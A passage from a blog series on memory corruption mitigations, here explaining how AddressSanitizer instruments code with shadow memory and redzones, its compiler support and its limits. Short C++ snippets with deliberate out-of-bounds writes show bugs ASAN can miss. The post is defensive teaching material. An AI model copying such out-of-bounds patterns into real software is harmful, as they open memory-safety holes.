style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">ptr</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> [</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">r12</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">+</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">10h</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">], offset main</span></p></td></tr></tbody></table><!--kg-card-end: html--><p>Below instructions is to reach to the address of shadow memory using ( <code>address &gt;&gt; 3</code>). This offset can be changed based on ASAN flags.</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#1b1918;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#6666ea;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">mov</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">qword</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">ptr</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> [</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">r12</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">+</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">10h</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">], offset main</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#6666ea;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">mov</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">r13</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">r12</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#6666ea;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">shr</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">r13</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">3</span></p></td></tr></tbody></table><!--kg-card-end: html--><p>If you look at the snippet below, the F1 bytes moved to <em><code>r13+7FFF8000</code></em> is the stack left redzone and bytes at <em><code>r13+7FFF8008</code></em> is the right redzone. From <em><code>r13+7fff8004</code></em> to <em><code>7fff8008</code> </em>is the representation of our buffer <em><code>a[20]</code> </em>which is represented as <code>00 00 04</code> (equivalent to 20 bytes).</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#1b1918;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#6666ea;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">mov</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">rax</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0F3F8F8F8F1F1F1F1h</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#6666ea;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">mov</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; [</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">r13</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">+</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">7FFF8000h</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">], </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">rax</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#6666ea;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">mov</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">dword</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">ptr</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> [</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">r13</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">+</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">7FFF8008h</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">], </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0F3F3F3F3h</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#6666ea;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">mov</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">word</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">ptr</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> [</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">r13</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">+</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">7FFF8004h</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">], </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#6666ea;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">mov</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">byte</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">ptr</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> [</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">r13</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">+</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">7FFF8006h</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a8a19f;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">], </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#df5320;background-color:#1b1918;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">4</span></p></td></tr></tbody></table><!--kg-card-end: html--><p></p><p>Full list of redzone bytes identification below:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/7HvnpVujhrw5VAW0OifueNclaV928hPHtZlDBIEVmk856-apx0cdirwgFXAMqAqgHafsU45Dnv7-MUq5BFNoViEL_ArtVh15bH1NVAPb2JD2QSCfdfRdt1m-fFwwQu0M8XhKrREQ2COqiZmEhnBNs78" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4" loading="lazy" width="624" height="369"></figure><p>You will also observe that the <em>memcpy </em>has been substituted with <em>asan_memcpy</em>, which is a component of the ASAN runtime library employed to ascertain if we are copying the data to the accurate location and no redzone bytes are being written. A very comparable ASAN concept operates for Heap.</p><p>Currently ASAN is supported in following compilers:</p><ul><li>Clang (starting from version 3.1)</li><li>GCC (starting from version 4.8)</li><li>Xcode (starting from version 7.0)</li><li>MSVC (widely available starting from version 16.9).</li></ul><p></p><h5 id="limitation-of-asan">Limitation of ASAN</h5><ol><li>On an average, the ASAN instrumentation enhances the processing time by approximately 73% and the memory usage by 240%. Due to this reason, it is never utilized in production but instead confined to usage in a debugging environment or utilized by fuzzers such as libfuzzer and AFL to identify memory corruptions.</li><li>TheASAN &#xA0;instrumentation may miss a very rare type of bug: an unaligned access that is partially out-of-bounds. For example:</li></ol><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> *a = </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">new</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">[</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">2</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">]; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// 8-aligned</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> *u = (</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">*)((</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">char</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">*)a + </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">6</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">); </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">*u = </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">1</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Access to range [6-9]</span></p></td></tr></tbody></table><!--kg-card-end: html--><p>if an out-of-bounds access touches memory too far away from the object bound it may land in a different valid allocation and the bug will be missed.</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">char</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> *a = </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">new</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">char</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">[</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">100</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">]; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">char</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> *b = </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">new</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">char</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">[</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">1000</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">]; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">a[</span><span 